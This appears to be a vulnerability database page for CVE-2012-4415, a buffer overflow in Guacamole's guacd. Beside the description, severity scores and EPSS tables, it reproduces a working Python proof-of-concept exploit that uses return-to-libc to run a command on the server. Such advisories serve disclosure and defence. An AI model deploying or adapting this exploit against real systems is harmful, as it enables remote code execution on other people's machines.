CVE-2012-4415

CVE Descriptions

Stack-based buffer overflow in the guac_client_plugin_open function in libguac in Guacamole before 0.6.3 allows remote attackers to cause a denial of service (crash) or execute arbitrary code via a long protocol name.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	36.8%	–	–
2022-04-03	–	–	36.8%	–	–
2022-09-18	–	–	35.49%	–	–
2022-12-18	–	–	34.7%	–	–
2023-03-12	–	–	–	27.6%	–
2024-02-11	–	–	–	27.6%	–
2024-03-03	–	–	–	26.77%	–
2024-06-02	–	–	–	26.77%	–
2024-10-20	–	–	–	21.97%	–
2024-12-15	–	–	–	24.58%	–
2024-12-22	–	–	–	21.39%	–
2025-02-09	–	–	–	23.88%	–
2025-01-19	–	–	–	21.39%	–
2025-02-16	–	–	–	23.88%	–
2025-03-18	–	–	–	–	38.64%
2025-03-18	–	–	–	–	38.64,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	97%
2022-04-03	98%
2022-09-18	98%
2022-12-18	98%
2023-03-12	96%
2024-02-11	97%
2024-03-03	97%
2024-06-02	97%
2024-10-20	97%
2024-12-15	97%
2024-12-22	96%
2025-02-09	97%
2025-01-19	96%
2025-02-16	97%
2025-03-18	97%
2025-03-18	97%

Exploit information

Exploit Database EDB-ID : 37788

Publication date : 2012-09-10 22h00 +00:00
Author : Michael Jumper
EDB Verified : Yes

source: https://www.securityfocus.com/bid/55497/info libguac is prone to a remote buffer-overflow vulnerability. Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in denial-of-service conditions. #!/usr/bin/python # CVE-2012-4415: PoC for guacd buffer overflow vulnerability # # Copyright (c) 2012 Timo Juhani Lindfors <timo.lindfors@iki.fi> # # Allows arbitrary code execution on Debian i386 guacd 0.6.0-1 with # default configuration. Uses return-to-libc to bypass non-executable # stack. # import socket, struct PROTOCOL_ADDRESS = 0xbf807e9f SYSTEM_ADDRESS = 0xb76e7640 class GuacdPOC: def __init__(self, command): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.connect(('localhost', 4822)) self.s("select") self.c(",") protocol = (command + "; " + "#" * 265)[:265] protocol += struct.pack("L", PROTOCOL_ADDRESS) protocol += struct.pack("L", SYSTEM_ADDRESS) self.s(protocol) self.c(";") def s(self, x): self.sock.send("%d.%s" % (len(x), x)) def c(self, x): self.sock.send(x) GuacdPOC("touch /tmp/owned")